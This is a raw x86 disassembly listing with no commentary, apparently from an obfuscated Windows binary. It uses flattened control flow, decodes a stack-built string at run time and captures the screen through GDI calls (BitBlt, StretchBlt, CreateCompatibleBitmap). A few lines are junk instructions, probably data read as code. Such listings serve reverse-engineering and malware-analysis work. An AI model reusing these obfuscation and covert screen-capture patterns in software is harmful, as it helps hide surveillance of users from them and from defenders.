mov ecx, dword [esp + 0x98]
movzx ecx, byte [esp + ecx + 0xe0]
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00437fb0
mov ecx, dword [esp + 0x98]
mov byte [esp + ecx + 0xe0], al
mov eax, dword [esp + 0x98]
inc eax
mov dword [esp + 0x98], eax
jmp 0x434059
mov eax, dword [esi]
mov eax, dword [eax + 0x10]
lea ecx, [esp + 0x308]
mov dword [esp + 0xc], ecx
lea ecx, [esp + 0xe0]
mov dword [esp + 4], ecx
mov dword [esp], esi
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 8], 0
call eax
sub esp, 0x18
test eax, eax
setns al
mov cx, word [esp + 0x308]
sub cx, 8
sete cl
and al, cl
movzx eax, al
mov dword [esp + 0x278], eax
mov eax, dword [esp + 0x27c]
mov ecx, dword [esp + 0x278]
mov eax, dword [eax + ecx*4]
jmp eax
outsb dx, byte [esi]
push edi
stosd dword es:[edi], eax
inc esp
sbb dword [edx + esi*8], ecx
bound ecx, qword [ebx + 0xa82484]
add byte [eax], al
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [esp], eax
call ecx
sub esp, 4
mov eax, dword [esp + 0x188]
mov ecx, dword [esp + 0x18c]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040e4a0
mov dword [esp + 0x1a8], 1
mov eax, dword [esp + 0x1ac]
mov ecx, dword [esp + 0x1a8]
mov eax, dword [eax + ecx*4]
jmp eax
mov dword [esp + 0xa4], edx
call fcn.0040e4a0
mov dword [esp + 0x248], 0
mov eax, dword [esp + 0x24c]
mov ecx, dword [esp + 0x248]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x200]
mov ecx, dword [esp + 0x204]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0x2a8]
mov ecx, dword [esp + 0x2ac]
mov eax, dword [ecx + eax*4]
xor esi, esi
jmp eax
mov eax, dword [esp + 0x2c0]
mov ecx, dword [esp + 0x2c4]
mov eax, dword [ecx + eax*4]
mov dword [esp + 0xa4], 0
jmp eax
mov eax, dword [esp + 0x160]
mov ecx, dword [esp + 0x164]
mov eax, dword [ecx + eax*4]
jmp eax
mov al, byte [esp + 0x104]
mov byte [esp + 0x108], al
mov byte [esp + 0xb0], 0xb2
mov byte [esp + 0xb1], 0xc1
mov byte [esp + 0xb2], 0x8d
mov byte [esp + 0xb3], 0xc3
mov byte [esp + 0xb4], 0x8b
mov byte [esp + 0xb5], 0xc5
mov byte [esp + 0xb6], 0xb2
mov byte [esp + 0xb7], 0xc7
mov byte [esp + 0xb8], 0xb4
mov byte [esp + 0xb9], 0xc9
mov byte [esp + 0xba], 0xb9
mov byte [esp + 0xbb], 0xcb
mov byte [esp + 0xbc], 0xa9
mov byte [esp + 0xbd], 0xcd
mov byte [esp + 0xbe], 0xad
mov byte [esp + 0xbf], 0xcf
mov byte [esp + 0xc0], 0x65
mov byte [esp + 0xc1], 0xf1
mov byte [esp + 0xc2], 0x60
mov byte [esp + 0xc3], 0xf3
mov byte [esp + 0xc4], 0x9d
mov byte [esp + 0xc5], 0xf5
mov byte [esp + 0xc6], 0x62
mov byte [esp + 0xc7], 0xf7
mov byte [esp + 0xc8], 0x61
mov byte [esp + 0xc9], 0xf9
mov byte [esp + 0xca], 0xb9
mov byte [esp + 0xcb], 0xfb
mov byte [esp + 0xcc], 0x99
mov byte [esp + 0xcd], 0xfd
mov byte [esp + 0xce], 0x90
mov byte [esp + 0xcf], 0xff
mov byte [esp + 0xd0], 0x74
mov byte [esp + 0xd1], 0xe1
mov byte [esp + 0xd2], 0x87
mov byte [esp + 0xd3], 0xe3
mov byte [esp + 0xd4], 0x76
mov byte [esp + 0xd5], 0xe5
mov byte [esp + 0xd6], 0xb4
mov byte [esp + 0xd7], 0xe7
mov byte [esp + 0xd8], 0xe8
mov byte [esp + 0xd9], 0xe9
mov eax, 0x2a
mov byte [esp + eax + 0xb0], 0
add eax, 1
cmp eax, 0x2c
jne 0x43434c
mov dword [esp + 0x80], 0
mov eax, dword [esp + 0x80]
cmp eax, 0x2c
jae 0x4343b4
mov eax, dword [esp + 0x80]
mov ecx, dword [esp + 0x80]
movzx ecx, byte [esp + ecx + 0xb0]
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00437ed0
mov ecx, dword [esp + 0x80]
mov byte [esp + ecx + 0xb0], al
mov eax, dword [esp + 0x80]
inc eax
mov dword [esp + 0x80], eax
jmp 0x434367
lea eax, [esp + 0xb0]
mov dword [esp], eax
mov eax, dword [sym.imp.OLEAUT32.dll_SysReAllocString]
call eax
sub esp, 4
mov ecx, dword [esp + 0xac]
mov edx, dword [ecx]
mov esi, dword [edx + 0xc]
lea edx, [esp + 0x9c]
mov dword [esp + 0x20], edx
mov dword [esp + 0x144], eax
mov dword [esp + 4], eax
mov dword [esp], ecx
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
call esi
sub esp, 0x24
not eax
shr eax, 0x1f
mov dword [esp + 0x2f8], eax
mov eax, dword [esp + 0x2fc]
mov ecx, dword [esp + 0x2f8]
mov eax, dword [eax + ecx*4]
xor esi, esi
jmp eax
xor eax, eax
sub esi, 3
sete al
mov dword [esp + 0x218], eax
mov eax, dword [esp + 0x21c]
mov ecx, dword [esp + 0x218]
mov eax, dword [eax + ecx*4]
jmp eax
lea eax, [esp + 0x308]
mov dword [esp], eax
mov eax, dword [sym.imp.OLEAUT32.dll_VariantCopy]
call eax
sub esp, 4
xor eax, eax
mov edx, dword [esp + 0xa4]
test edx, edx
sete al
mov dword [esp + 0x268], eax
mov eax, dword [esp + 0x26c]
mov ecx, dword [esp + 0x268]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x1b8]
mov ecx, dword [esp + 0x1bc]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0x1e8]
mov ecx, dword [esp + 0x1ec]
mov eax, dword [ecx + eax*4]
mov esi, dword [esp + 0xa4]
jmp eax
call fcn.0040e4a0
mov dword [esp + 0x230], 1
mov eax, dword [esp + 0x234]
mov ecx, dword [esp + 0x230]
mov eax, dword [eax + ecx*4]
jmp eax
mov dword [esp], edi
mov esi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
call esi
sub esp, 4
mov dword [esp], ebx
call esi
sub esp, 4
mov eax, dword [esp + 0x178]
mov ecx, dword [esp + 0x17c]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040e4a0
mov dword [esp + 0x1c8], 1
mov eax, dword [esp + 0x1cc]
mov ecx, dword [esp + 0x1c8]
mov eax, dword [eax + ecx*4]
jmp eax
mov cl, al
and ecx, 1
mov dword [esp + 0x2e0], ecx
mov eax, dword [esp + 0x2e4]
mov ecx, dword [esp + 0x2e0]
mov eax, dword [eax + ecx*4]
xor esi, esi
jmp eax
mov eax, dword [esp + 0x310]
mov dword [esp], eax
call dword [sym.imp.OLEAUT32.dll_VariantInit]
sub esp, 4
mov edi, eax
mov eax, dword [esp + 0x310]
mov ecx, edi
shl ecx, 1
mov edx, eax
add edx, ecx
mov dword [esp], eax
mov dword [esp + 4], edx
call case.0x42bc23.47
mov esi, eax
add esi, 1
mov dword [esp], esi
call fcn.0040c990
mov ecx, dword [esp + 0x154]
mov dword [ecx], eax
mov ebx, dword [esp + 0x310]
shl edi, 1
mov ecx, ebx
add ecx, edi
mov dword [esp + 0x150], ecx
mov edi, eax
add edi, esi
mov ecx, edi
add ecx, 0xffffffff
cmp eax, ecx
jae 0x434611
mov esi, dword [esp + 0x150]
test esi, esi
sete cl
mov edx, ebx
sub edx, esi
setb dl
or cl, dl
test cl, 1
jne 0x4345e1
jmp 0x434611
mov cx, word [ebx]
cmp cx, 0
je 0x434611
movzx ecx, cx
add ebx, 2
mov edx, eax
xor edx, 0xffffffff
add edx, edi
mov dword [esp], eax
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov esi, eax
call fcn.00437ba0
mov ecx, eax
mov eax, esi
add eax, ecx
jmp 0x4345bc
mov byte [eax], 0
mov eax, dword [esp + 0x270]
mov ecx, dword [esp + 0x274]
mov eax, dword [ecx + eax*4]
mov edi, dword [esp + 0x148]
jmp eax
xor ecx, ecx
test eax, eax
setns al
mov edx, dword [esp + 0x2e8]
mov esi, dword [esp + 0x2ec]
mov edx, dword [esi + edx*4]
jmp edx
call fcn.0040e4a0
mov dword [esp + 0x1b0], 1
mov eax, dword [esp + 0x1b4]
mov ecx, dword [esp + 0x1b0]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x144]
mov dword [esp], eax
mov eax, dword [sym.imp.OLEAUT32.dll_SysStringLen]
call eax
sub esp, 4
mov eax, dword [esp + 0xac]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [esp], eax
call ecx
sub esp, 4
mov eax, dword [esp + 0x168]
mov ecx, dword [esp + 0x16c]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040e4a0
mov eax, dword [esp + 0x144]
mov dword [esp], eax
mov eax, dword [sym.imp.OLEAUT32.dll_SysStringLen]
call eax
sub esp, 4
mov eax, dword [esp + 0xac]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [esp], eax
call ecx
sub esp, 4
mov dword [esp + 0x1c0], 1
mov eax, dword [esp + 0x1c4]
mov ecx, dword [esp + 0x1c0]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x238]
mov ecx, dword [esp + 0x23c]
mov eax, dword [ecx + eax*4]
xor esi, esi
jmp eax
mov cl, al
and ecx, 1
mov dword [esp + 0x2c8], ecx
mov eax, dword [esp + 0x2cc]
mov ecx, dword [esp + 0x2c8]
mov eax, dword [eax + ecx*4]
mov dword [esp + 0xa4], 0
jmp eax
mov eax, dword [esp + 0x280]
mov ecx, dword [esp + 0x284]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0x3378b027
sete cl
mov dword [esp + 0x2d8], ecx
mov eax, dword [esp + 0x2dc]
mov ecx, dword [esp + 0x2d8]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0xb7834f44
setl cl
mov dword [esp + 0x1f8], ecx
mov ecx, dword [esp + 0x1fc]
mov edx, dword [esp + 0x1f8]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0x9162ffc
sete cl
mov dword [esp + 0x290], ecx
mov eax, dword [esp + 0x294]
mov ecx, dword [esp + 0x290]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0x912e93df
sete cl
mov dword [esp + 0x1a8], ecx
mov eax, dword [esp + 0x1ac]
mov ecx, dword [esp + 0x1a8]
mov eax, dword [eax + ecx*4]
jmp eax
mov bl, byte [esp + 0x33]
mov eax, dword [esp + 0x64]
mov dword [esp], eax
call dword [sym.imp.GDI32.dll_DeleteObject]
sub esp, 4
and bl, 1
movzx eax, bl
add esp, 0x384
pop esi
pop edi
pop ebx
pop ebp
ret
xor ecx, ecx
sub eax, 0xccb1c15
sete cl
mov dword [esp + 0x298], ecx
mov eax, dword [esp + 0x29c]
mov ecx, dword [esp + 0x298]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x9754900d
setl cl
mov dword [esp + 0x1b8], ecx
mov ecx, dword [esp + 0x1bc]
mov edx, dword [esp + 0x1b8]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov eax, dword [esp + 0x2c]
mov dword [eax], 0xc66cf13a
mov eax, dword [esp + 0x98]
mov ecx, dword [esp + 0x9c]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0x90c5303a
sete cl
mov dword [esp + 0x190], ecx
mov eax, dword [esp + 0x194]
mov ecx, dword [esp + 0x190]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040e4a0
mov eax, dword [esp + 0x2c]
mov dword [eax], 0xd3cec7fb
mov eax, dword [esp + 0x168]
mov ecx, dword [esp + 0x16c]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0x2c]
mov dword [eax], 0xea5f0227
mov eax, dword [esp + 0x158]
mov ecx, dword [esp + 0x15c]
mov eax, dword [ecx + eax*4]
jmp eax
mov dword [esp], 0x4d
mov eax, dword [sym.imp.USER32.dll_GetSystemMetrics]
call eax
sub esp, 4
mov dword [esp + 0x54], eax
mov eax, dword [esp + 0x34]
mov dword [esp], eax
mov dword [esp + 4], 7
mov eax, dword [sym.imp.GDI32.dll_GetCurrentObject]
call eax
sub esp, 8
mov dword [esp + 0x50], eax
mov eax, dword [esp + 0x2c]
mov dword [eax], 0xe0d44c9a
mov eax, dword [esp + 0x170]
mov ecx, dword [esp + 0x174]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0xd3cec7fb
setl cl
mov dword [esp + 0x258], ecx
mov ecx, dword [esp + 0x25c]
mov edx, dword [esp + 0x258]
mov ecx, dword [ecx + edx*4]
jmp ecx
into
fild qword [ebp + 0x44487198]
mov word [ebx - 0x76c3dbbc], cs
add al, 0x24
mov eax, dword [sym.imp.GDI32.dll_DeleteDC]
call eax
sub esp, 4
mov eax, dword [esp + 0x34]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_ReleaseDC]
call eax
sub esp, 8
mov eax, dword [esp + 0x60]
mov dword [esp], eax
mov eax, dword [sym.imp.GDI32.dll_DeleteObject]
call eax
sub esp, 4
mov eax, dword [esp + 0x2c]
mov dword [eax], 0x79dc5df5
mov eax, dword [esp + 0xa0]
mov ecx, dword [esp + 0xa4]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0xb7834f44
sete cl
mov dword [esp + 0x1f0], ecx
mov eax, dword [esp + 0x1f4]
mov ecx, dword [esp + 0x1f0]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0xab9ffa52
setl cl
mov dword [esp + 0x1d8], ecx
mov ecx, dword [esp + 0x1dc]
mov edx, dword [esp + 0x1d8]
mov ecx, dword [ecx + edx*4]
jmp ecx
call fcn.0040e4a0
mov eax, dword [esp + 0x2c]
mov dword [eax], 0x9162ffc
mov eax, dword [esp + 0x148]
mov ecx, dword [esp + 0x14c]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0x34]
mov ecx, dword [esp + 0x58]
mov edx, dword [esp + 0x54]
mov edi, dword [esp + 0x4c]
mov ebx, dword [esp + 0x48]
mov ebp, dword [esp + 0x3c]
mov dword [esp + 0x24], edx
mov dword [esp + 0x20], ecx
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], edi
mov dword [esp], ebp
mov dword [esp + 0x28], 0xcc0020
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [sym.imp.GDI32.dll_StretchBlt]
call eax
sub esp, 0x2c
mov eax, dword [esp + 0x2c]
mov dword [eax], 0x4c4fa83d
mov eax, dword [esp + 0xa8]
mov ecx, dword [esp + 0xac]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x79dc5df5
setl cl
mov dword [esp + 0x330], ecx
mov ecx, dword [esp + 0x334]
mov edx, dword [esp + 0x330]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0xea5f0227
sete cl
mov dword [esp + 0x240], ecx
mov eax, dword [esp + 0x244]
mov ecx, dword [esp + 0x240]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x64]
lea ecx, [esp + 0x360]
mov dword [esp + 8], ecx
lea ecx, [esp + 0x84]
mov dword [esp + 4], ecx
mov dword [esp], eax
call fcn.00436410
mov byte [esp + 0x42], al
mov eax, dword [esp + 0x2c]
mov dword [eax], 0x3378b027
mov eax, dword [esp + 0xf8]
mov ecx, dword [esp + 0xfc]
mov eax, dword [ecx + eax*4]
jmp eax
mov al, byte [esp + 0x42]
test al, al
mov eax, 0x51b351f
jne 0x4356b7
mov eax, 0x9754900d
mov ecx, dword [esp + 0x2c]
mov dword [ecx], eax
mov byte [esp + 0x33], 0
mov eax, dword [esp + 0xe0]
mov ecx, dword [esp + 0xe4]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040e4a0
mov eax, dword [esp + 0x34]
mov ecx, dword [esp + 0x58]
mov edx, dword [esp + 0x54]
mov edi, dword [esp + 0x4c]
mov ebx, dword [esp + 0x48]
mov ebp, dword [esp + 0x3c]
mov dword [esp + 0x24], edx
mov dword [esp + 0x20], ecx
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], edi
mov dword [esp], ebp
mov dword [esp + 0x28], 0xcc0020
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [sym.imp.GDI32.dll_StretchBlt]
call eax
sub esp, 0x2c
mov eax, dword [esp + 0x2c]
mov dword [eax], 0xf7b5a4cf
mov eax, dword [esp + 0x128]
mov ecx, dword [esp + 0x12c]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040e4a0
mov eax, dword [esp + 0x3c]
mov dword [esp], eax
mov eax, dword [sym.imp.GDI32.dll_DeleteDC]
call eax
sub esp, 4
mov eax, dword [esp + 0x34]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_ReleaseDC]
call eax
sub esp, 8
mov eax, dword [esp + 0x60]
mov dword [esp], eax
mov eax, dword [sym.imp.GDI32.dll_DeleteObject]
call eax
sub esp, 4
mov eax, dword [esp + 0x2c]
mov dword [eax], 0xab9ffa52
mov eax, dword [esp + 0x108]
mov ecx, dword [esp + 0x10c]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0xb40fe4a8
sete cl
mov dword [esp + 0x1e8], ecx
mov eax, dword [esp + 0x1ec]
mov ecx, dword [esp + 0x1e8]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0xf7b5a4cf
sete cl
mov dword [esp + 0x268], ecx
mov eax, dword [esp + 0x26c]
mov ecx, dword [esp + 0x268]
mov eax, dword [eax + ecx*4]
jmp eax
wait
adc dword [edx], ecx
mov dh, 0xeb
invalid
xor ecx, ecx
mov edx, eax
sub edx, 0xc66cf13a
setl cl
mov dword [esp + 0x218], ecx
mov ecx, dword [esp + 0x21c]
mov edx, dword [esp + 0x218]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0x51b351f
setl cl
mov dword [esp + 0x280], ecx
mov ecx, dword [esp + 0x284]
mov edx, dword [esp + 0x280]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov eax, dword [esp + 0x3c]
mov ecx, dword [esp + 0x60]
mov dword [esp + 4], ecx
mov dword [esp], eax
mov eax, dword [sym.imp.GDI32.dll_SelectObject]
call eax
sub esp, 8
mov eax, dword [esp + 0x2c]
mov dword [eax], 0x8c219f85
mov eax, dword [esp + 0x118]
mov ecx, dword [esp + 0x11c]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0x9754900d
sete cl
mov dword [esp + 0x1b0], ecx
mov eax, dword [esp + 0x1b4]
mov ecx, dword [esp + 0x1b0]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0x3b34d056
sete cl
mov dword [esp + 0x2e8], ecx
mov eax, dword [esp + 0x2ec]
mov ecx, dword [esp + 0x2e8]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x15fd89e4
setl cl
mov dword [esp + 0x2c0], ecx
mov ecx, dword [esp + 0x2c4]
mov edx, dword [esp + 0x2c0]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0xac80050a
sete cl
mov dword [esp + 0x1c8], ecx
mov eax, dword [esp + 0x1cc]
mov ecx, dword [esp + 0x1c8]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0xc9da9756
setl cl
mov dword [esp + 0x210], ecx
mov ecx, dword [esp + 0x214]
mov edx, dword [esp + 0x210]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0x90c5303a
setl cl
mov dword [esp + 0x198], ecx
mov ecx, dword [esp + 0x19c]
mov edx, dword [esp + 0x198]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0x44182280
sete cl
mov dword [esp + 0x2f0], ecx
mov eax, dword [esp + 0x2f4]
mov ecx, dword [esp + 0x2f0]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0xe3acae7b
sete cl
mov dword [esp + 0x238], ecx
mov eax, dword [esp + 0x23c]
mov ecx, dword [esp + 0x238]
mov eax, dword [eax + ecx*4]
jmp eax
mov al, byte [esp + 0x43]
test al, al
mov eax, 0x44182280
jne 0x435aa6
mov eax, 0x90c5303a
mov ecx, dword [esp + 0x2c]
mov dword [ecx], eax
mov eax, dword [esp + 0x138]
mov ecx, dword [esp + 0x13c]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x8c219f85
setl cl
mov dword [esp + 0x1a0], ecx
mov ecx, dword [esp + 0x1a4]
mov edx, dword [esp + 0x1a0]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0x6b2ade93
sete cl
mov dword [esp + 0x320], ecx
mov eax, dword [esp + 0x324]
mov ecx, dword [esp + 0x320]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040e4a0
mov eax, dword [esp + 0x50]
lea ecx, [esp + 0x36c]
mov dword [esp + 8], ecx
mov dword [esp], eax
mov dword [esp + 4], 0x18
mov eax, dword [sym.imp.GDI32.dll_GetObjectW]
call eax
sub esp, 0xc
mov eax, dword [esp + 0x370]
mov dword [esp + 0x4c], eax
mov eax, dword [esp + 0x374]
mov dword [esp + 0x48], eax
mov eax, dword [esp + 0x50]
mov dword [esp], eax
mov eax, dword [sym.imp.GDI32.dll_DeleteObject]
call eax
sub esp, 4
mov eax, dword [esp + 0x34]
mov dword [esp], eax
mov eax, dword [sym.imp.GDI32.dll_CreateCompatibleDC]
call eax
sub esp, 4
mov dword [esp + 0x3c], eax
mov eax, dword [esp + 0x34]
mov ecx, dword [esp + 0x4c]
mov edx, dword [esp + 0x48]
mov dword [esp + 8], edx
mov dword [esp + 4], ecx
mov dword [esp], eax
mov eax, dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
call eax
sub esp, 0xc
mov dword [esp + 0x64], eax
mov eax, dword [esp + 0x3c]
mov ecx, dword [esp + 0x64]
mov dword [esp + 4], ecx
mov dword [esp], eax
mov eax, dword [sym.imp.GDI32.dll_SelectObject]
call eax
sub esp, 8
mov dword [esp + 0x60], eax
mov eax, dword [esp + 0x34]
mov ecx, dword [esp + 0x58]
mov edx, dword [esp + 0x54]
mov edi, dword [esp + 0x4c]
mov ebx, dword [esp + 0x48]
mov ebp, dword [esp + 0x3c]
mov dword [esp + 0x1c], edx
mov dword [esp + 0x18], ecx
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], edi
mov dword [esp], ebp
mov dword [esp + 0x20], 0xcc0020
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [sym.imp.GDI32.dll_BitBlt]
call eax
sub esp, 0x24
mov eax, dword [esp + 0x4c]
not eax
mov ecx, dword [esp + 0x48]
xor ecx, 2
and eax, ecx
sub eax, 0xffffffff
setl byte [esp + 0x43]
mov eax, dword [esp + 0x2c]
mov dword [eax], 0xc9da9756
mov eax, dword [esp + 0x140]
mov ecx, dword [esp + 0x144]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040e4a0
mov eax, dword [esp + 0x2c]
mov dword [eax], 0x1f1b0886
mov eax, dword [esp + 0xe8]
mov ecx, dword [esp + 0xec]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0x80]
mov ecx, dword [esp + 0x358]
mov edx, dword [esp + 0x35c]
mov ecx, dword [edx + ecx*4]
jmp ecx
call fcn.0040e4a0
mov eax, dword [esp + 0x2c]
mov dword [eax], 0x4c4fa83d
mov eax, dword [esp + 0x130]
mov ecx, dword [esp + 0x134]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x3378b027
setl cl
mov dword [esp + 0x2e0], ecx
mov ecx, dword [esp + 0x2e4]
mov edx, dword [esp + 0x2e0]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0x44182280
setl cl
mov dword [esp + 0x2f8], ecx
mov ecx, dword [esp + 0x2fc]
mov edx, dword [esp + 0x2f8]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0xea5f0227
setl cl
mov dword [esp + 0x248], ecx
mov ecx, dword [esp + 0x24c]
mov edx, dword [esp + 0x248]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov eax, 0x8b205d82
inc esp
and al, 0x2c
mov dword [eax], 0xd3cec7fb
mov eax, dword [esp + 0xb8]
mov ecx, dword [esp + 0xbc]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0xf7b5a4cf
setl cl
mov dword [esp + 0x350], ecx
mov ecx, dword [esp + 0x354]
mov edx, dword [esp + 0x350]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0xe0d44c9a
sete cl
mov dword [esp + 0x228], ecx
mov eax, dword [esp + 0x22c]
mov ecx, dword [esp + 0x228]
mov eax, dword [eax + ecx*4]
jmp eax
push eax
invalid
xor ecx, ecx
mov edx, eax
sub edx, 0xe3acae7b
setl cl
mov dword [esp + 0x250], ecx
mov ecx, dword [esp + 0x254]
mov edx, dword [esp + 0x250]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0x8939b515
sete cl
mov dword [esp + 0x180], ecx
mov eax, dword [esp + 0x184]
mov ecx, dword [esp + 0x180]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040e4a0
mov eax, dword [esp + 0x2c]
mov dword [eax], 0x61189c24
mov eax, dword [esp + 0x160]
mov ecx, dword [esp + 0x164]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0x2c]
mov dword [eax], 0x9754900d
mov al, byte [esp + 0x3b]
mov byte [esp + 0x33], al
mov eax, dword [esp + 0xc0]
mov ecx, dword [esp + 0xc4]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040e4a0
mov eax, dword [esp + 0x2c]
mov dword [eax], 0xac80050a
mov eax, dword [esp + 0xd0]
mov ecx, dword [esp + 0xd4]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x3b34d056
setl cl
mov dword [esp + 0x300], ecx
mov ecx, dword [esp + 0x304]
mov edx, dword [esp + 0x300]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0x15fd89e4
sete cl
mov dword [esp + 0x2a8], ecx
mov eax, dword [esp + 0x2ac]
mov ecx, dword [esp + 0x2a8]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0xfe13ea29
sete cl
mov dword [esp + 0x270], ecx
mov eax, dword [esp + 0x274]
mov ecx, dword [esp + 0x270]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x2c]
mov dword [eax], 0x3b34d056
mov eax, dword [esp + 0x100]
mov ecx, dword [esp + 0x104]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0x79dc5df5
sete cl
mov dword [esp + 0x328], ecx
mov eax, dword [esp + 0x32c]
mov ecx, dword [esp + 0x328]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x1f1b0886
setl cl
mov dword [esp + 0x348], ecx
mov ecx, dword [esp + 0x34c]
mov edx, dword [esp + 0x348]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0xe0d44c9a
setl cl
mov dword [esp + 0x230], ecx
mov ecx, dword [esp + 0x234]
mov edx, dword [esp + 0x230]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0x9162ffc
setl cl
mov dword [esp + 0x2c8], ecx
mov ecx, dword [esp + 0x2cc]
mov edx, dword [esp + 0x2c8]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0x1e5adbe1
setl cl
mov dword [esp + 0x2b8], ecx
mov ecx, dword [esp + 0x2bc]
mov edx, dword [esp + 0x2b8]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0xd3cec7fb
sete cl
mov dword [esp + 0x220], ecx
mov eax, dword [esp + 0x224]
mov ecx, dword [esp + 0x220]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0xab9ffa52
sete cl
mov dword [esp + 0x1c0], ecx
mov eax, dword [esp + 0x1c4]
mov ecx, dword [esp + 0x1c0]
mov eax, dword [eax + ecx*4]
jmp eax
